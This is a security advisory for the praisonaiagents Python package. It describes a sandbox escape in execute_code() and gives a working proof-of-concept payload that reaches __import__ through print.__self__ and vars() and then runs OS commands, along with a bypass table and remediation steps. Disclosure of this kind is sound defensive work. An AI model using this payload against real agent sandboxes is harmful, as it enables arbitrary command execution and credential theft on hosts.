PYSEC-2026-483
Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23Summary
execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.
This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
Root Cause
Three independent gaps in the AST-based security validation:
Gap 1: __self__ missing from _blocked_attrs
In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.
The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.
Gap 2: vars not blocked as callable or attribute
builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.
So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.
Gap 3: AST Call check only catches ast.Name nodes
The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:
- Attribute calls: b.exec(...) — func is ast.Attribute
- Subscript calls: d["exec"](...) — func is ast.Subscript
Gap 4: Runtime string construction bypasses string constant check
The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.
Proof of Concept
from praisonaiagents.tools.python_tools import execute_code
# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""
result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}
Step-by-step bypass analysis:
| Line | AST node | Check | Result |
|---|---|---|---|
print.__self__ |
Attribute(attr='__self__') |
__self__ in _blocked_attrs? |
NO → passes |
b.vars |
Attribute(attr='vars') |
vars in _blocked_attrs? |
NO → passes |
b.vars(b) |
Call(func=Attribute) |
isinstance(func, ast.Name)? |
NO → passes |
"_", "import" |
Constant(value=str) |
Contains blocked attr? | NO → passes |
d[key] |
Subscript |
Not checked | passes |
imp("os") |
Call(func=Name('imp')) |
imp in blocked calls? |
NO → passes |
Result: Full sandbox escape → arbitrary command execution
Impact
An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:
- Execute arbitrary commands on the host system
- Read/write any file accessible to the process
- Exfiltrate environment variables, API keys, and credentials
- Pivot to internal networks
- Install persistent backdoors
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: All versions through 1.6.37 (latest)
- Component:
praisonaiagents/tools/python_tools.py,_execute_code_sandboxed()function - Default configuration affected: Yes (
sandbox_mode="sandbox"is the default)
Remediation
Immediate fix
Add __self__ to _blocked_attrs:
python
_blocked_attrs = frozenset({
...,
'__self__', # Built-in functions leak their parent module
})
Additional hardening
- Block
varsin the callable blocklist - Extend the
ast.Callcheck to also catchast.Attributeandast.Subscriptfunction nodes - Add AST check for
BinOpstring concatenation that could construct blocked attr names
Fundamental recommendation
Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:
- Using isolated-vm (Node.js) or WebAssembly-based isolation
- Using OS-level sandboxing (seccomp, namespaces, gVisor)
- Removing in-process code execution entirely in favor of containerized execution
| Name | purl | praisonaiagents | pkg:pypi/praisonaiagents |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents",
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},
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{
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}
],
"aliases": [
"CVE-2026-47392",
"GHSA-4mr5-g6f9-cfrh"
],
"details": "## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n ---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n \n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `\u003cmodule \u0027builtins\u0027 (built-in)\u003e`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n \n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` \u2014 a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` \u2014 i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` \u2014 func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` \u2014 func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n \n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {\u0027result\u0027: None, \u0027stdout\u0027: \u0027uid=1000(user) gid=1000(user) ...\\n\u0027, \u0027stderr\u0027: \u0027\u0027, \u0027success\u0027: True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr=\u0027__self__\u0027)` | `__self__` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars` | `Attribute(attr=\u0027vars\u0027)` | `vars` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** \u2192 passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** \u2192 passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name(\u0027imp\u0027))` | `imp` in blocked calls? | **NO** \u2192 passes |\n\n**Result: Full sandbox escape \u2192 arbitrary command execution**\n \n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n - Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n - **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n \n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n ```python\n_blocked_attrs = frozenset({\n ...,\n \u0027__self__\u0027, # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n - Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution",
"id": "PYSEC-2026-483",
"modified": "2026-07-01T20:23:01.850531Z",
"published": "2026-06-29T11:50:50.769396Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonaiagents"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4mr5-g6f9-cfrh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47392"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.